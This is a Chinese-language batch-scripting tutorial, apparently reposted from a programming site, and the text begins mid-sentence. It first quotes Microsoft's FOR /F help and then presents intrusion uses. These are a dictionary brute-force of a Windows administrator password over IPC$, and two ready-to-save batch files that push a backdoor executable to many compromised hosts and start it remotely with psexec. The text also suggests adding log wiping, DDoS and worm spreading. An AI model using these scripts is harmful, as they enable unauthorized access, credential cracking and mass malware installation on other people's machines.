在作為命令執(zhí)行一個后引號的字符串并且

引號字符為文字字符串命令并允許在 fi

中使用雙引號擴起文件名稱。

sample1:

FOR /F "eol=; tokens=2,3 delims=, " %i in (myfile.txt) do command

會分析 myfile.txt 中的每一行,忽略以分號打頭的那些行,將

每行中的第二個和第三個符號傳遞給 for 程序體;用逗號和/或

空格定界符號。請注意,這個 for 程序體的語句引用 %i 來

取得第二個符號,引用 %j 來取得第三個符號,引用 %k

來取得第三個符號后的所有剩余符號。對于帶有空格的文件

名,您需要用雙引號將文件名括起來。為了用這種方式來使

用雙引號,您還需要使用 usebackq 選項,否則,雙引號會

被理解成是用作定義某個要分析的字符串的。

%i 專門在 for 語句中得到說明,%j 和 %k 是通過

tokens= 選項專門得到說明的。您可以通過 tokens= 一行

指定最多 26 個符號,只要不試圖說明一個高于字母 z 或

Z 的變量。請記住,F(xiàn)OR 變量是單一字母、分大小寫和全局的;

同時不能有 52 個以上都在使用中。

您還可以在相鄰字符串上使用 FOR /F 分析邏輯;方法是,

用單引號將括號之間的 filenameset 括起來。這樣,該字符

串會被當作一個文件中的一個單一輸入行。

最后,您可以用 FOR /F 命令來分析命令的輸出。方法是,將

括號之間的 filenameset 變成一個反括字符串。該字符串會

被當作命令行,傳遞到一個子 CMD.EXE,其輸出會被抓進

內(nèi)存,并被當作文件分析。因此,以下例子:

FOR /F "usebackq delims==" %i IN (set) DO @echo %i

會枚舉當前環(huán)境中的環(huán)境變量名稱。

另外,F(xiàn)OR 變量參照的替換已被增強。您現(xiàn)在可以使用下列

選項語法:

~I - 刪除任何引號("),擴充 %I

%~fI - 將 %I 擴充到一個完全合格的路徑名

%~dI - 僅將 %I 擴充到一個驅(qū)動器號

%~pI - 僅將 %I 擴充到一個路徑

%~nI - 僅將 %I 擴充到一個文件名

%~xI - 僅將 %I 擴充到一個文件擴展名

%~sI - 擴充的路徑只含有短名

%~aI - 將 %I 擴充到文件的文件屬性

%~tI - 將 %I 擴充到文件的日期/時間

%~zI - 將 %I 擴充到文件的大小

%~$PATH:I - 查找列在路徑環(huán)境變量的目錄,并將 %I 擴充

到找到的第一個完全合格的名稱。如果環(huán)境變量

未被定義,或者沒有找到文件,此組合鍵會擴充

空字符串

可以組合修飾符來得到多重結果:

%~dpI - 僅將 %I 擴充到一個驅(qū)動器號和路徑

%~nxI - 僅將 %I 擴充到一個文件名和擴展名

%~fsI - 僅將 %I 擴充到一個帶有短名的完整路徑名

%~dp$PATH:i - 查找列在路徑環(huán)境變量的目錄,并將 %I 擴充

到找到的第一個驅(qū)動器號和路徑。

%~ftzaI - 將 %I 擴充到類似輸出線路的 DIR

在以上例子中,%I 和 PATH 可用其他有效數(shù)值代替。%~ 語法

用一個有效的 FOR 變量名終止。選取類似 %I 的大寫變量名

比較易讀,而且避免與不分大小寫的組合鍵混淆。

以上是MS的官方幫助,下面我們舉幾個例子來具體說明一下For命令在入侵中的用途。

sample2:

利用For命令來實現(xiàn)對一臺目標Win2k主機的暴力密碼破解。

我們用net use \ip\ipc$ "password" /u:"administrator"來嘗試這和目標主機進行連接,當成功時記下密碼。

最主要的命令是一條:for /f i% in (dict.txt) do net use \ip\ipc$ "i%" /u:"administrator"

用i%來表示admin的密碼,在dict.txt中這個取i%的值用net use 命令來連接。然后將程序運行結果傳遞給find命令--

for /f i%% in (dict.txt) do net use \ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\ok.txt ,這樣就ko了。

sample3:

你有沒有過手里有大量肉雞等著你去種后門+木馬呢?,當數(shù)量特別多的時候,原本很開心的一件事都會變得很郁悶:)。文章開頭就談到使用批處理文件,可以簡化日常或重復性任務。那么如何實現(xiàn)呢?呵呵,看下去你就會明白了。

主要命令也只有一條:(在批處理文件中使用 FOR 命令時,指定變量使用 %%variable)

@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k

tokens的用法請參見上面的sample1,在這里它表示按順序?qū)ictim.txt中的內(nèi)容傳遞給door.bat中的參數(shù)%i %j %k。

而cultivate.bat無非就是用net use命令來建立IPC$連接,并copy木馬+后門到victim,然后用返回碼(If errorlever =)來篩選成功種植后門的主機,并echo出來,或者echo到指定的文件。

delims= 表示vivtim.txt中的內(nèi)容是一空格來分隔的。我想看到這里你也一定明白這victim.txt里的內(nèi)容是什么樣的了。應該根據(jù)%%i %%j %%k表示的對象來排列,一般就是 ip password username。

代碼雛形:

--------------- cut here then save as a batchfile(I call it main.bat ) --------------------

@echo off

@if "%1"=="" goto usage

@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k

@goto end

:usage

@echo run this batch in dos modle.or just double-click it.

:end

--------------- cut here then save as a batchfile(I call it main.bat ) --------------------

------------------- cut here then save as a batchfile(I call it door.bat) -----------------

@net use \%1\ipc$ %3 /u:"%2"

@if errorlevel 1 goto failed

@echo Trying to establish the IPC$ connection …………OK

@copy windrv32.exe\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt

@pec \%1 c:\winnt\system32\windrv32.exe

@p*ec \%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt

:failed

@echo Sorry can not connected to the victim.

----------------- cut here then save as a batchfile(I call it door.bat) -------------------

這只是一個自動種植后門批處理的雛形,兩個批處理和后門程序(Windrv32.exe),PSexec.exe需放在統(tǒng)一目錄下.批處理內(nèi)容

尚可擴展,例如:加入清除日志+DDOS的功能,加入定時添加用戶的功能,更深入一點可以使之具備自動傳播功能(蠕蟲).此處不多做敘述,有興趣的朋友可自行研究. 


以上內(nèi)容是否對您有幫助:
在線筆記
App下載
App下載

掃描二維碼

下載編程獅App

公眾號
微信公眾號

編程獅公眾號